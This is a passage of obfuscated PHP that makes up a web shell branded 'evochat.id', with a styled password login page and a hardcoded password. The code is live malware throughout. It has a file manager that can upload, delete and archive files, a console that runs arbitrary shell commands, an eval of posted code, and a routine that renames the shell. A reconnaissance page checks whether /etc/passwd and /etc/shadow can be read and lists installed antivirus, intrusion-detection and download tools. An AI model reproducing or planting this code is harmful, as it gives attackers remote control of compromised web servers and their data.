left: -46px;\xa background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPQAAADzCAMAAACG9Mt0AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAA9KADAAQAAAABAAAA8wAAAADhQHfUAAAAyVBMVEUAAAD///+AgP+AgP9mZv+AgNWAgP9tbf9gYP+AgP9xcf9mZv+AZuaAgP9dXf90dOhiYv92dv9mZu5mZv93d+53d/9paf94afCAcfFrXvJra/9mZvJzZvJzc/JoaP96b/Rqav91aupsYvV2bOt2bPVxaPZ7cfZqavZyau1waPd4aO9xafBxafh4afB1bfh4avFuZ/F2afJzZvJzZ/N0aPN0bvN3bPR0ae5yZ/R3be93bfR1au9zafBxbPVzavV0a/F0a/ZyafFwaPKZm3nTAAAAQ3RSTlMAAQIEBQYGBwgICQoKCgsLDQ0PDw8PERESExMUFBQWFxgYGhoaGxsdHSAgIiIiIyQlJygqLCwtLi8vLzAzNDU3Nzg7h9vbHgAAA9RJREFUeNrt3ftS2kAUx/Fc1gSyWsErtuJdRDQiiteolb7/QzUoTm07k4AzObuu3/MCez45yWbzT36eZ6b8erO1e1B97baadd+zocJWmg0HaXe/+uqmg2GWtkLT5Lle1m9LdhG2+1lvzuiUO1knEF81yFc1N+35m15kZOGodz1vyLx+v2Lseq/erxtZd/NuweCTtfiwaWLOD5FnsqI7+VnP3y8afnEs3Es/1+H1qvETwuq18B7e6VlwLup1ZM8kWWQBOsrmHL7GVtxvYRZYgQ4ywae61ffsqH5Lbq20bQm6ncp9P2ehJegwE/u+rl95ttSwLrVSc2ANetAU28dSa9Cp2E623bUG3d2VWmn/wBq0XCugQYMGLdVKoOJaoiuok1NdXSW1WAUfRPtRUllflaJf5ZE/O9pXVbZUPTov5c+IDqvtRwStdTgLutoxy6GnGfYb2o+1I2gd+1OiqzfLocvVE7TSDqG1mgodaqfQZbvZC9rXjqG1X45WzqFVKVpk0LLo4lGP0ZGD6KgMnTiITkrQgXYQrYNitHISrYrRsZPouBhdcxJdK0YnTqKTYrR2Eq1BgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRoh9DH59ag86ACoSYOL61B55EUQk1s3VqDzsNHhJpYe7QGncfMSHUxaliCHgcKSXVxeWQJehwdJdXF4dAS9DgkTKqLxuibFeiXODixNi7OrEC/BP+JtbE0WrYA/RrxKNfH2YUF6NegSbk+Gk87xtErN6EsWm88fzeMXpwE9EruLns/l42io4dJFLPo2/Po1w+D6IW7t9Bt2SPx3vOOMfS7eHVZtN54ulg2go56138Ct4XRunE2Ovsmjg46WeddUoUWr6WL0fCoIYgO2/2s91fstDZQjcPL0ePt5flpdXUwqW46uMrS1j95JNpQrW0dHp9UV/uT2m416/8HVGg3qzhpBjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KBBgwYNGjRo0KC/FDpx0pwUo2tOomvF6NhJdFyMVk6iVTE6cBIdeF9vJyvZx/I/AzuIjsrQvoNovwzt4FamSs0Ojrp80PmvoB0zh940pb7azf1yg7t0LIt978uppzbnalfucDW92ZndLPRmKweGPduYJ+zoM5/Dk+gD5NdvLhXXPp88qcUqmEH5G5JZRs6cuxwIAAAAAElFTkSuQmCC)
}
\xa.auth-wrapper.auth-v1 .auth-inner:after {\xa width: 272px;
height: 272px;\xa content:" ";
position: absolute;\xa bottom: -55px;\xa right: -75px;\xa background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAARAAAAEQCAMAAABP1NsnAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABEKADAAQAAAABAAABEAAAAAAQWxS2AAAAwFBMVEUAAAD///+AgICAgP9VVaqqVf+qqv+AgL+AgP9mZsxmZv+ZZv+AgNWAgP9tbdttbf+Sbf+AYN+AgN+AgP9xceNmZv+AZuaAZv90dOh0dP9qav+AauqAav+AgP92dv9tbf+Abe2Abf93Zu53d+6AcO94afCAcfF5a+R5a/JzZuaAZvKAc/J5bed5bfOAaPN6b/R1auqAavR6ZvV6cPV2bOuAbPV7aPZ2be2AbfZ7au17avZ3Zu53b+57a+97a/d4aO9J6CoeAAAAQHRSTlMAAQICAwMDBAQFBQUGBgcHBwgICAkKCgoLCwwMDAwNDg4ODw8QERITExQUFBUVFhcYGBkZGhobHBwdHR4eHx8gJ5uMWwAAA/FJREFUeNrt2G1XEkEYxvHZNk2xHGzdbKFl0cTwgdSkCKzu7/+t4pw6sAjtjIueE/f8r3fMO35nZnbuy5gVGcvfzJe0rnTfGI+MggGJRUZnbpPIhJKt88nU53JnFULvyISY6KAv8vPj0vr2rYwiE2Z2B9J+uNYcyyQxwWZvaeGH3G4bMjsvI/kcwTC/V+7kLoahlITzQojP3ZFgsJCh7IJQzpX0QFj4uMiY18eDMZ9bZCF9OQahnK6cm/Y7js0sh/LF3Auv1PlQd3MxbdXYIQspV44EEEAAAWTNDAYYkKdJbNMsLzYueZbaZ2iM46RVbHBaiZ9Js+nHEdli42N9XuSen5hGp1CQTuOJQDRsD99N4gMSpYWapNH6IJo83CIeILZQFesEaber79NCWRoukOpNEnW0gXQqD81w6ACxhbrYde7VuFCYeA2QRCNIsgZISyNIqz6IyhPjOjNVIFYniK3dmKU6QdLaJUimEySrDZLrBMlrgxRKU7sxCw/EMe0CAggggADySJCqxixIkKpNEh6IozELD8RxjQACCCCAAPJIkKrGLEgQXqqAAEJjxrQLCCCAAEJjRmNGY8a0CwgggABCYwYIfQgggNCYMe0CAggggNCY0ZjRmDHtAgIIIIAAQmNGHwIIIDRmTLuAAAIIIDRmNGY0Zky7gAACCCCA0JjRhwACCI0Z0y4ggAACCI0ZjRmNGdMuIIAAAgggNGb0IYAAQmPGtAsIIIAAQmNGY0ZjxrQLCCCAAAIIjRl9CCCA0Jgx7QICCCCA0JjRmNGYMe0CAggggABCY0YfAgggNGZMu4AAAgggNGY0ZjRmTLuAAAIIIIDQmNGHAAIIjRnTLiCAAAIIjRmNGY0ZIEy7gAACCCA0ZvQhgABCY8a0CwgggABCY0ZjBgiNGdMuIIAAAgiN2f/Sh+Q6PfLaIJlOkKw2SKoTJK3dmFmdILb2tBvrBIlrg5iWRo+WqQ+SaARJ1gCJAzsxThCN16p1vNurGjNjoo42j07kAHFskoY2kEbl33U0ZgoPjXW+Rl0gkarnahqtDaJKxMPDDWIiNafGenh4gExvVhXfmk7Da6L1AVGxSby2h6MxK79Zk42ea1pJbJ48sU2zDezQ8iy1z6BBwoyjMQsvXp8YQAAhgADilRfyy+wf8WqZZUfGZihvgZiB3FybC+kCUU5XLkAo50C+gbBQdUzkAIVyejIAYfFTI1solHP2HgNCnHn5AYNy4jvpoVB6fVzL91cwzLJ9Lfd7S0jhehxO5H5/yePr1W6gHonI7fJ5ORSR/n6Q2yQanq763zuXU5LJZRKiyD/W9/pjkdPZz0/yJ8fqVyry+qQZDMjJKoDfy8bRVhHhQTwAAAAASUVORK5CYII=);\xa z-index: -1\xa}\xa\xa@media (max-width:575.98px) {\xa .auth-wrapper.auth-v1 .auth-inner:after,\xa .auth-wrapper.auth-v1 .auth-inner:before {\xa display: none
}\xa}\xa
\xa
.auth-wrapper.auth-v1 .auth-inner {\xa max-width: 400px
}
\xa.auth-wrapper .brand-logo {\xa display: -webkit-box;\xa display: -webkit-flex;\xa display: -ms-flexbox;
display: flex;\xa -webkit-box-pack: center;
-webkit-justify-content: center;
-ms-flex-pack: center;\xa justify-content: center;
margin: 1rem 0 2rem\xa}\xa
.auth-wrapper .brand-logo .brand-text {
font-weight: 600\xa}\xa\xa\xa@media (min-width:1200px) {\xa .auth-wrapper.auth-v2 .auth-card {
width: 400px
}
}
\xa
</style>
\xa
\xa\xa </head>
<body style="\xa color: #B4B7BD;\xa background-color: #161D31;
">\xa \xa <div class="auth-wrapper auth-v1 px-2">\xa <div class="auth-inner py-2">
<div class="card mb-0" style="
background-color: #283046;
box-shadow: 0 4px 24px 0 rgb(34 41 47 / 24%);\xa border-radius: 15px;
"> \xa <div class="card-body">\xa <a href="https://evochat.id" target="_blank" style="\xa color: #7367F0 !important;
background-color: transparent;\xa" class="brand-logo">
<h2 class="brand-text text-primary ml-1" style="\xa color: #7367F0 !important;\xa background-color: transparent;
">evochat.id</h2>
</a>\xa" . $al . "
<h4 class="card-title mb-1">#bugbounty irc.evochat.id</h4>
<p class="card-text mb-2">Komunitas BugBounty irc.evochat.id bukan perusak, just Pentest</p>\xa\xa <form method="post">\xa <div class="form-group">\xa <label class="form-label">Password</label>\xa <input required="" type="password" class="form-control" name="pass" placeholder="Password" autofocus="" style="
border-color: #404656;\xa background-color: #283046;\xa color: #B4B7BD;
">
</div>
<input value="submit" type="submit" name="watching" class="btn btn-primary btn-block waves-effect waves-float waves-light" style="\xa color: #FFF;\xa background-color: #7367F0;
border-color: #7367F0;
">\xa </form>\xa
\xa </div>\xa </div>\xa
</div>\xa</div>\xa\xa \xa \xa \xa \xa\xa\xa \xa
\xa
\xa
\xa
\xa
\xa\xa \xa
\xa
\xa
\xa</body></html>"); } goto fQaHX; gJc6v: if (!empty($password_shell) && isset($_COOKIE[md5($_SERVER["HTTP_HOST"])]) && $_COOKIE[md5($_SERVER["HTTP_HOST"])] == $password_shell || empty($password_shell)) { if (isset($_REQUEST["changepass"]) && isset($_REQUEST["renamos"])) { die(changer($_REQUEST["changepass"], $_REQUEST["renamos"])); } } goto YG3Ej; QvhaV: if (get_magic_quotes_gpc()) { function stripslashes_array($array) { return is_array($array) ? array_map("stripslashes_array", $array) : stripslashes($array); } $_POST = stripslashes_array($_POST); $_COOKIE = stripslashes_array($_COOKIE); } goto V8Q20; uKB5l: function actionFilesMan() { if (!empty($_COOKIE["f"])) { $_COOKIE["f"] = @unserialize($_COOKIE["f"]); } if (!empty($_POST["p1"])) { switch ($_POST["p1"]) { case "uploadFile": if (is_array($_FILES["f"]["tmp_name"])) { foreach ($_FILES["f"]["tmp_name"] as $i => $tmpName) { if (!@move_uploaded_file($tmpName, $_FILES["f"]["name"][$i])) { echo "Can't upload file!"; } } } break; case "mkdir": if (!@mkdir($_POST["p2"])) { echo "Can't create new dir"; } break; case "delete": function deleteDir($path) { $path = substr($path, -1) == "/" ? $path : $path . "/"; $dh = opendir($path); while (($dokl = readdir($dh)) !== false) { $dokl = $path . $dokl; if (basename($dokl) == ".." || basename($dokl) == ".") { continue; } $type = filetype($dokl); if ($type == "dir") { deleteDir($dokl); } else { @unlink($dokl); } } closedir($dh); @rmdir($path); } if (is_array(@$_POST["f"])) { foreach ($_POST["f"] as $f) { if ($f == "..") { continue; } $f = urldecode($f); if (is_dir($f)) { deleteDir($f); } else { @unlink($f); } } } break; case "paste": if ($_COOKIE["act"] == "copy") { function copy_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "." and $f != "..") { copy_paste($c . $s . "/", $f, $d . $s . "/"); } } } elseif (is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["f"] as $f) { copy_paste($_COOKIE["c"], $f, $GLOBALS["cwd"]); } } elseif ($_COOKIE["act"] == "move") { function move_paste($c, $s, $d) { if (is_dir($c . $s)) { mkdir($d . $s); $h = @opendir($c . $s); while (($f = @readdir($h)) !== false) { if ($f != "." and $f != "..") { copy_paste($c . $s . "/", $f, $d . $s . "/"); } } } elseif (@is_file($c . $s)) { @copy($c . $s, $d . $s); } } foreach ($_COOKIE["f"] as $f) { @rename($_COOKIE["c"] . $f, $GLOBALS["cwd"] . $f); } } elseif ($_COOKIE["act"] == "zip") { if (class_exists("ZipArchive")) { $zip = new ZipArchive(); if ($zip->open($_POST["p2"], 1)) { chdir($_COOKIE["c"]); foreach ($_COOKIE["f"] as $f) { if ($f == "..") { continue; } if (@is_file($_COOKIE["c"] . $f)) { $zip->addFile($_COOKIE["c"] . $f, $f); } elseif (@is_dir($_COOKIE["c"] . $f)) { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . "/", FilesystemIterator::SKIP_DOTS)); foreach ($iterator as $key => $value) { $zip->addFile(realpath($key), $key); } } } chdir($GLOBALS["cwd"]); $zip->close(); } } } elseif ($_COOKIE["act"] == "unzip") { if (class_exists("ZipArchive")) { $zip = new ZipArchive(); foreach ($_COOKIE["f"] as $f) { if ($zip->open($_COOKIE["c"] . $f)) { $zip->extractTo($GLOBALS["cwd"]); $zip->close(); } } } } elseif ($_COOKIE["act"] == "tar") { chdir($_COOKIE["c"]); $_COOKIE["f"] = array_map("escapeshellarg", $_COOKIE["f"]); ex("tar cfzv " . escapeshellarg($_POST["p2"]) . " " . implode(" ", $_COOKIE["f"])); chdir($GLOBALS["cwd"]); } unset($_COOKIE["f"]); setcookie("f", '', time() - 3600); break; default: if (!empty($_POST["p1"])) { prototype("act", $_POST["p1"]); prototype("f", serialize(@$_POST["f"])); prototype("c", @$_POST["c"]); } break; } } hardHeader(); echo "<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>"; $dirContent = hardScandir(isset($_POST["c"]) ? $_POST["c"] : $GLOBALS["cwd"]); if ($dirContent === false) { echo "Can't open this folder!"; hardFooter(); return; } global $sort; $sort = array("name", 1); if (!empty($_POST["p1"])) { if (preg_match("!s_([A-z]+)_(\d{1})!", $_POST["p1"], $match)) { $sort = array($match[1], (int) $match[2]); } } echo "<script>\xa function sa() {
for(i=0;i<d.files.elements.length;i++)\xa if(d.files.elements[i].type == 'checkbox')\xa d.files.elements[i].checked = d.files.elements[0].checked;\xa }\xa</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_" . ($sort[1] ? 0 : 1) . "")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_" . ($sort[1] ? 0 : 1) . "")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_" . ($sort[1] ? 0 : 1) . "")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_" . ($sort[1] ? 0 : 1) . "")'>Permissions</a></th><th>Actions</th></tr>"; $dirs = $files = array(); $n = count($dirContent); for ($i = 0; $i < $n; $i++) { $ow = @posix_getpwuid(@fileowner($dirContent[$i])); $gr = @posix_getgrgid(@filegroup($dirContent[$i])); $tmp = array("name" => $dirContent[$i], "path" => $GLOBALS["cwd"] . $dirContent[$i], "modify" => date("Y-m-d H:i:s", @filemtime($GLOBALS["cwd"] . $dirContent[$i])), "perms" => viewPermsColor($GLOBALS["cwd"] . $dirContent[$i]), "size" => @filesize($GLOBALS["cwd"] . $dirContent[$i]), "owner" => $ow["name"] ? $ow["name"] : @fileowner($dirContent[$i]), "group" => $gr["name"] ? $gr["name"] : @filegroup($dirContent[$i])); if (@is_file($GLOBALS["cwd"] . $dirContent[$i])) { $files[] = array_merge($tmp, array("type" => "file")); } elseif (@is_link($GLOBALS["cwd"] . $dirContent[$i])) { $dirs[] = array_merge($tmp, array("type" => "link", "link" => readlink($tmp["path"]))); } elseif (@is_dir($GLOBALS["cwd"] . $dirContent[$i]) && $dirContent[$i] != ".") { $dirs[] = array_merge($tmp, array("type" => "dir")); } } $GLOBALS["sort"] = $sort; function cmp($a, $b) { if ($GLOBALS["sort"][0] != "size") { return strcmp(strtolower($a[$GLOBALS["sort"][0]]), strtolower($b[$GLOBALS["sort"][0]])) * ($GLOBALS["sort"][1] ? 1 : -1); } else { return ($a["size"] < $b["size"] ? -1 : 1) * ($GLOBALS["sort"][1] ? 1 : -1); } } usort($files, "cmp"); usort($dirs, "cmp"); $files = array_merge($dirs, $files); $l = 0; foreach ($files as $f) { echo "<tr" . ($l ? " class=l1" : '') . "><td><input type=checkbox name="f[]" value="" . urlencode($f["name"]) . "" class=chkbx></td><td><a href=# onclick="" . ($f["type"] == "file" ? "g('FilesTools',null,'" . urlencode($f["name"]) . "', 'view')">" . htmlspecialchars($f["name"]) : "g('FilesMan','" . $f["path"] . "');" " . (empty($f["link"]) ? '' : "title='{$f["link"]}'") . "><b>[ " . htmlspecialchars($f["name"]) . " ]</b>") . "</a></td><td>" . ($f["type"] == "file" ? viewSize($f["size"]) : $f["type"]) . "</td><td>" . $f["modify"] . "</td><td>" . $f["owner"] . "/" . $f["group"] . "</td><td><a href=# onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "','chmod')">" . $f["perms"] . "</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'rename')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'touch')">T</a>" . ($f["type"] == "file" ? " <a class="tooltip" data-tooltip="Frame" href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'frame')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'edit')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g('FilesTools',null,'" . urlencode($f["name"]) . "', 'download')">D</a>" : '') . "</td></tr>"; $l = $l ? 0 : 1; } echo "<tr id=fak><td colspan=7>\xa <input type=hidden name=ne value=''>\xa <input type=hidden name=a value='FilesMan'>\xa <input type=hidden name=c value='" . htmlspecialchars($GLOBALS["cwd"]) . "'>\xa <input type=hidden name=charset value='" . (isset($_POST["charset"]) ? $_POST["charset"] : '') . "'>\xa <label><select name='p1'>"; if (!empty($_COOKIE["act"]) && @count($_COOKIE["f"])) { echo "<option value='paste'>\342\206\263 Paste</option>"; } echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; if (class_exists("ZipArchive")) { echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (unzip)</option>"; } echo "<option value='tar'>Compress (tar.gz)</option>"; echo "</select></label>"; if (!empty($_COOKIE["act"]) && @count($_COOKIE["f"]) && ($_COOKIE["act"] == "zip" || $_COOKIE["act"] == "tar")) { echo " file name: <input type=text name=p2 value='orvx_" . rand(100000, 900000) . "." . ($_COOKIE["act"] == "zip" ? "zip" : "tar.gz") . "'> "; } echo "<input type='submit' value='submit'></td></tr></form></table></div>"; hardFooter(); } goto ZTliB; y8QJO: if (PHP_VERSION_ID < 70000) { @set_magic_quotes_runtime(0); } goto vtDN2; XXMfa: if ($os == "win") { $home_cwd = str_replace("\", "/", $home_cwd); $cwd = str_replace("\", "/", $cwd); } goto GuANx; wudh1: if (strtolower(substr(PHP_OS, 0, 3)) == "win") { $os = "win"; } else { $os = "nix"; } goto E2Okl; V8Q20: if (!empty($password_shell)) { if (isset($_REQUEST["pass"]) && md5($_REQUEST["pass"]) == $password_shell) { prototype(md5($_SERVER["HTTP_HOST"]), $password_shell); } if (!isset($_COOKIE[md5($_SERVER["HTTP_HOST"])]) && $_COOKIE[md5($_SERVER["HTTP_HOST"])] != $password_shell) { hardLogin(); } } goto gJc6v; ddV_C: $dect = "FilesMan"; goto ksRpM; v25Hw: function actionDeliverytest() { header("Location: ?email"); die; } goto zl6cf; jIDrn: $disable_functions = @ini_get("disable_functions"); goto dydcw; DDb0p: if (array_key_exists("watching", $_POST)) { $tmp = $_SERVER["SERVER_NAME"] . $_SERVER["PHP_SELF"] . "
" . $_REQUEST["pass"]; } goto BNi7U; SLfoB: if (!isset($_COOKIE[md5($_SERVER["HTTP_HOST"]) . "key"])) { prototype(md5($_SERVER["HTTP_HOST"]) . "key", $dea); } goto M3A4u; g4e8Y: function actionConsole() { if (!empty($_POST["p1"]) && !empty($_POST["p2"])) { prototype(md5($_SERVER["HTTP_HOST"]) . "stderr_to_out", true); $_POST["p1"] .= " 2>&1"; } elseif (!empty($_POST["p1"])) { prototype(md5($_SERVER["HTTP_HOST"]) . "stderr_to_out", 0); } if (isset($_POST["ajax"])) { prototype(md5($_SERVER["HTTP_HOST"]) . "ajax", true); ob_start(); echo "d.cf.cmd.value='';
"; $temp = @iconv($_POST["charset"], "UTF-8", addcslashes("
$ " . $_POST["p1"] . "\xa" . ex($_POST["p1"]), "
\'\x0")); if (preg_match("!.*cd\s+([^;]+)$!", $_POST["p1"], $match)) { if (@chdir($match[1])) { $GLOBALS["cwd"] = @getcwd(); echo "c_='" . $GLOBALS["cwd"] . "';"; } } echo "d.cf.output.value+='" . $temp . "';"; echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; $temp = ob_get_clean(); echo strlen($temp), "\xa", $temp; die; } if (empty($_POST["ajax"]) && !empty($_POST["p1"])) { prototype(md5($_SERVER["HTTP_HOST"]) . "ajax", 0); } hardHeader(); echo "<script>\xaif(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');\xavar cur = 0;
function kp(e) {\xa var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else\xa cur++;\xa } else if(n == 40) {
cur++;\xa if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];\xa else
cur--;\xa }
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;\xa}
</script>"; echo "<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value=='clear'){d.cf.output.value='';d.cf.cmd.value='';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:'');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:'');} return false;"><label><select name=alias>"; foreach ($GLOBALS["aliases"] as $n => $v) { if ($v == '') { echo "<optgroup label="-" . htmlspecialchars($n) . "-"></optgroup>"; continue; } echo "<option value="" . htmlspecialchars($v) . "">" . $n . "</option>"; } echo "</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:'');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] ? "checked" : '') . "> send using AJAX <input type=checkbox name=show_errors value=1 " . (!empty($_POST["p2"]) || $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "stderr_to_out"] ? "checked" : '') . "> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>"; if (!empty($_POST["p1"])) { echo htmlspecialchars("$ " . $_POST["p1"] . "\xa" . ex($_POST["p1"])); } echo "</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>"; echo "</form></div><script>d.cf.cmd.focus();</script>"; hardFooter(); } goto WxtG7; fMiCk: function actionRC() { if (!@$_POST["p1"]) { $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get("safe_mode")); echo serialize($a); } else { eval($_POST["p1"]); } } goto RD0o5; vsMZn: function which($p) { $path = ex("which " . $p); if (!empty($path)) { return $path; } return false; } goto fMiCk; tF6Rj: $shellpassword = "pepenbekasus"; goto gfHTK; GuANx: if ($cwd[strlen($cwd) - 1] != "/") { $cwd .= "/"; } goto SQ1Kg; SEByT: function changer($p, $n) { $passnew = changepass($p) ? $p : NULL; $shellname = rename($_SERVER["SCRIPT_FILENAME"], "evo-" . $n . ".php") ? "evo-" . $n . ".php" : basename($_SERVER["SCRIPT_FILENAME"]); $dir_only = $_SERVER["HTTP_HOST"] . substr($_SERVER["REQUEST_URI"], 0, strrpos($_SERVER["REQUEST_URI"], "/") + 1); $finalshl = $dir_only . $shellname . (isset($passnew) ? "?pass={$passnew}" : ''); return json_encode(array("url" => $finalshl)); } goto oWyVv; lN1qw: function ex($in) { $dokas = ''; if (function_exists("exec")) { @exec($in, $dokas); $dokas = @join("
", $dokas); } elseif (function_exists("passthru")) { ob_start(); @passthru($in); $dokas = ob_get_clean(); } elseif (function_exists("system")) { ob_start(); @system($in); $dokas = ob_get_clean(); } elseif (function_exists("shell_exec")) { $dokas = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $dokas = ''; while (!@feof($f)) { $dokas .= fread($f, 1024); } pclose($f); } else { return "\xe2\206\263 Unable to execute command
"; } return $dokas == '' ? "\342\x86\xb3 Query did not return anything\xa" : $dokas; } goto WRlxK; dxYeQ: if (!function_exists("posix_getpwuid") && strpos($GLOBALS["disable_functions"], "posix_getpwuid") === false) { function posix_getpwuid($p) { return false; } } goto HLa1k; dydcw: $home_cwd = @getcwd(); goto lByJA; gfHTK: $password_shell = $shellpassword != '' ? md5($shellpassword) : ''; goto bf5rl; LY9dw: function perms($p) { if (($p & 49152) == 49152) { $i = "s"; } elseif (($p & 40960) == 40960) { $i = "l"; } elseif (($p & 32768) == 32768) { $i = "-"; } elseif (($p & 24576) == 24576) { $i = "b"; } elseif (($p & 16384) == 16384) { $i = "d"; } elseif (($p & 8192) == 8192) { $i = "c"; } elseif (($p & 4096) == 4096) { $i = "p"; } else { $i = "u"; } $i .= $p & 256 ? "r" : "-"; $i .= $p & 128 ? "w" : "-"; $i .= $p & 64 ? $p & 2048 ? "s" : "x" : ($p & 2048 ? "S" : "-"); $i .= $p & 32 ? "r" : "-"; $i .= $p & 16 ? "w" : "-"; $i .= $p & 8 ? $p & 1024 ? "s" : "x" : ($p & 1024 ? "S" : "-"); $i .= $p & 4 ? "r" : "-"; $i .= $p & 2 ? "w" : "-"; $i .= $p & 1 ? $p & 512 ? "t" : "x" : ($p & 512 ? "T" : "-"); return $i; } goto Vrw_M; YG3Ej: if (!isset($_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"])) { $_COOKIE[md5($_SERVER["HTTP_HOST"]) . "ajax"] = (bool) $wad; } goto c6TnT; IWSGk: function generateRandomString($length) { $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $charactersLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; } goto FMPdV; Phrpj: $dec = "UTF-8"; goto ddV_C; oWyVv: function actionSecInfo() { hardHeader(); echo "<h1>Server security information</h1><div class=content>"; function showSecParam($n, $v) { $v = trim($v); if ($v) { echo "<span>" . $n . ": </span>"; if (strpos($v, "\xa") === false) { echo $v . "<br>"; } else { echo "<pre class=ml1>" . $v . "</pre>"; } } } showSecParam("Server software", @getenv("SERVER_SOFTWARE")); if (function_exists("apache_get_modules")) { showSecParam("Loaded Apache modules", implode(", ", apache_get_modules())); } showSecParam("Disabled PHP Functions", $GLOBALS["disable_functions"] ? $GLOBALS["disable_functions"] : "none"); showSecParam("Open base dir", @ini_get("open_basedir")); showSecParam("Safe mode exec dir", @ini_get("safe_mode_exec_dir")); showSecParam("Safe mode include dir", @ini_get("safe_mode_include_dir")); showSecParam("cURL support", function_exists("curl_version") ? "enabled" : "no"); $temp = array(); if (function_exists("mysql_get_client_info")) { $temp[] = "MySql (" . mysql_get_client_info() . ")"; } if (function_exists("mssql_connect")) { $temp[] = "MSSQL"; } if (function_exists("pg_connect")) { $temp[] = "PostgreSQL"; } if (function_exists("oci_connect")) { $temp[] = "Oracle"; } showSecParam("Supported databases", implode(", ", $temp)); echo "<br>"; if ($GLOBALS["os"] == "nix") { showSecParam("Readable /etc/passwd", @is_readable("/etc/passwd") ? "yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>" : "no"); showSecParam("Readable /etc/shadow", @is_readable("/etc/shadow") ? "yes <a href='#' onclick='g("FilesTools", "/etc/", "shadow")'>[view]</a>" : "no"); showSecParam("OS version", @file_get_contents("/proc/version")); showSecParam("Distr name", @file_get_contents("/etc/issue.net")); if (!$GLOBALS["safe_mode"]) { $userful = array("gcc", "lcc", "cc", "ld", "make", "php", "perl", "python", "ruby", "tar", "gzip", "bzip", "bzip2", "nc", "locate", "suidperl"); $danger = array("kav", "nod32", "bdcored", "uvscan", "sav", "drwebd", "clamd", "rkhunter", "chkrootkit", "iptables", "ipfw", "tripwire", "shieldcc", "portsentry", "snort", "ossec", "lidsadm", "tcplodg", "sxid", "logcheck", "logwatch", "sysmask", "zmbscap", "sawmill", "wormscan", "ninja"); $downloaders = array("wget", "fetch", "lynx", "links", "curl", "get", "lwp-mirror"); echo "<br>"; $temp = array(); foreach ($userful as $dokl) { if (which($dokl)) { $temp[] = $dokl; } } showSecParam("Userful", implode(", ", $temp)); $temp = array(); foreach ($danger as $dokl) { if (which($dokl)) { $temp[] = $dokl; } } showSecParam("Danger", implode(", ", $temp)); $temp = array(); foreach ($downloaders as $dokl) { if (which($dokl)) { $temp[] = $dokl; } } showSecParam("Downloaders", implode(", ", $temp)); echo "<br/>"; showSecParam("HDD space", ex("df -h")); showSecParam("Hosts", @file_get_contents("/etc/hosts")); showSecParam("Mount options", @file_get_contents("/etc/fstab")); } } else { showSecParam("OS Version", ex("ver")); showSecParam("Account Settings", iconv("CP866", "UTF-8", ex("net accounts"))); showSecParam("User Accounts", iconv("CP866", "UTF-8", ex("net user"))); } echo "</div>"; hardFooter(); } goto 